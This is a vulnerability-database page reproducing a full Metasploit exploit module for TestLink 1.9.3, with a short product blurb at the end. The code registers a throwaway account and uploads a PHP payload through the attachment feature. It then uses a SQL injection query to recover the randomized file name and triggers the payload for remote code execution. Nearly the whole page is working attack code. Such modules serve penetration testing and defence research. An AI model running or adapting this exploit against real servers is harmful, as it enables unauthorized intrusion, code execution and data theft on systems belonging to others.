Lucene search
K

TestLink 1.9.3 - Arbitrary File Upload Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

TestLink 1.9.3 - Arbitrary File Upload Vulnerabilit

Code

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "TestLink v1.9.3 Arbitrary File Upload Vulnerability",
			'Description'    => %q{
				This module exploits a vulnerability in TestLink version 1.9.3 or prior.
				This application has an upload feature that allows any authenticated
				user to upload arbitrary files to the '/upload_area/nodes_hierarchy/'
				directory with a randomized file name. The file name can be retrieved from
				the database using SQL injection.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
				],
			'References'     =>
				[
					['URL', 'http://itsecuritysolutions.org/2012-08-13-TestLink-1.9.3-multiple-vulnerabilities/']
					#['OSVDB', ''],
					#['EDB',   ''],
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					['Automatic Targeting', { 'auto' => true }]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Aug 13 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The path to the web application', '/testlink-1.9.3/'])
			], self.class)
	end

	def check

		base  = target_uri.path
		base << '/' if base[-1, 1] != '/'
		peer = "#{rhost}:#{rport}"

		# retrieve software version from login page
		begin
			res = send_request_cgi({
				'method' => 'GET',
				'uri'    => "#{base}login.php"
			})

			return Exploit::CheckCode::Unknown if res.nil?
			return Exploit::CheckCode::Vulnerable if res and res.code == 200 and res.body =~ /<p><img alt="Company logo" title="logo" style="width: 115px; height: 53px;"\s+src="[^"]+" \/>\s+<br \/>TestLink 1\.9\.3/
			return Exploit::CheckCode::Detected if res and res.body =~ /TestLink project <a href="http:\/\/testlink\.sourceforge\.net\/docs\/testLink\.php">Home<\/a><br \/>/
			return Exploit::CheckCode::Safe
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{peer} - Connection failed")
		end
		return Exploit::CheckCode::Unknown

	end

	def upload(base, fname, file)

		boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
		data_post  = "--#{boundary}\r\n"
		data_post << "Content-Disposition: form-data; name=\"uploadedFile\"; filename=\"#{fname}\"\r\n"
		data_post << "Content-Type: text/php\r\n"
		data_post << "\r\n"
		data_post << file
		data_post << "\r\n"
		data_post << "--#{boundary}\r\n"
		data_post << "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n"
		data_post << "\r\n1048576\r\n"
		data_post << "--#{boundary}\r\n"

		res = send_request_cgi({
			'method'  => 'POST',
			'uri'     => "#{base}lib/attachments/attachmentupload.php",
			'ctype'   => "multipart/form-data; boundary=#{boundary}",
			'data'    => data_post,
			'cookie'  => datastore['COOKIE'],
		})

		return res
	end

	def register(base, user, pass)

		res   = send_request_cgi({
			'method'  => 'POST',
			'uri'     => "#{base}firstLogin.php",
			'data'    => "login=#{user}&password=#{pass}&password2=#{pass}&firstName=#{user}&lastName=#{user}&email=#{user}%40#{user}.tld&doEditUser=Add+User+Data",
		})

		return res

	end

	def login(base, user, pass)

		res   = send_request_cgi({
			'method' => 'POST',
			'uri'    => "#{base}login.php",
			'data'   => "reqURI=&destination=&tl_login=#{user}&tl_password=#{pass}&login_submit=Login",
			'cookie' => datastore['COOKIE'],
		})

		return res

	end

	def on_new_session(client)
		if client.type == "meterpreter"
			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
			client.fs.file.rm("#{@token}.php")
		else
			client.shell_command_token("rm #{@token}.php")
		end
	end


	def exploit

		base  = target_uri.path
		base << '/' if base[-1, 1] != '/'
		@peer = "#{rhost}:#{rport}"
		datastore['COOKIE'] = "PHPSESSID="+rand_text_alpha_lower(26)+";"

		# register an account
		user  = rand_text_alphanumeric(rand(10)+6)
		print_status("#{@peer} - Registering user (#{user})")
		res   = register(base, user, user)
		if res and res.code == 200 and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/
			print_status("#{@peer} - Registered successfully")
		else
			print_error("#{@peer} - Registration failed")
			return
		end

		# login
		print_status("#{@peer} - Authenticating user (#{user})")
		res   = login(base, user, user)
		if res and res.code == 200 and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/
			print_status("#{@peer} - Authenticated successfully")
		else
			print_error("#{@peer} - Authentication failed")
			return
		end

		# set id and table name
		id    = rand(1000)+1
		table = 'nodes_hierarchy'
		print_status("#{@peer} - Setting id (#{id}) and table name (#{table})")
		begin
			res = send_request_cgi({
				'method'  => 'GET',
				'uri'     => "#{base}lib/attachments/attachmentupload.php?id=#{id}&tableName=#{table}",
				'cookie' => datastore['COOKIE'],
			})
			if res and res.code == 200
				print_status("#{@peer} - Setting id and table name successfully")
			else
				print_error("#{@peer} - Setting id and table name failed")
				return
			end
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{@peer} - Connection failed")
			return
		end

		# upload PHP payload to ./upload_area/nodes_hierarchy/[id]/
		print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
		fname  = rand_text_alphanumeric(rand(10)+6) + '.php'
		php    = %Q|<?php #{payload.encoded} ?>|
		begin
			res    = upload(base, fname, php)
			if res and res.code == 200 and res.body =~ /<p>File uploaded<\/p>/
				print_good("#{@peer} - File uploaded successfully")
			else
				print_error("#{@peer} - Uploading PHP payload failed")
				return
			end
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{@peer} - Connection failed")
			return
		end

		# attempt to retrieve real file name from directory index
		print_status("#{@peer} - Retrieving real file name from directory index.")
		begin
			res = send_request_cgi({
				'method' => 'GET',
				'uri'    => "#{base}upload_area/#{table}/#{id}/"
			})
			if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/
				@token = $1
				print_good("#{@peer} - Successfully retrieved file name (#{@token})")
			else
				print_error("#{@peer} - Could not retrieve file name from directory index.")
			end

		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{@peer} - Connection failed")
			return
		end

		# attempt to retrieve real file name from the database
		if @token.nil?
			print_status("#{@peer} - Retrieving real file name from the database.")
			sqli = "lib/ajax/gettprojectnodes.php?root_node=-1+union+select+file_path,2,3,4,5,6+FROM+attachments+WHERE+file_name='#{fname}'--"
			begin
				res = send_request_cgi({
					'method' => 'GET',
					'uri'    => "#{base}#{sqli}",
					'cookie' => datastore['COOKIE'],
				})
				if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/
					@token = $1
					print_good("#{@peer} - Successfully retrieved file name (#{@token})")
				else
					print_error("#{@peer} - Could not retrieve file name from the database.")
					return
				end
			rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
				print_error("#{@peer} - Connection failed")
				return
			end
		end

		# retrieve and execute PHP payload
		print_status("#{@peer} - Executing payload (#{@token}.php)")
		begin
			send_request_cgi({
				'method' => 'GET',
				'uri'    => "#{base}upload_area/nodes_hierarchy/#{id}/#{@token}.php"
			})
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{@peer} - Connection failed")
			return
		end

		handler
	end
end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation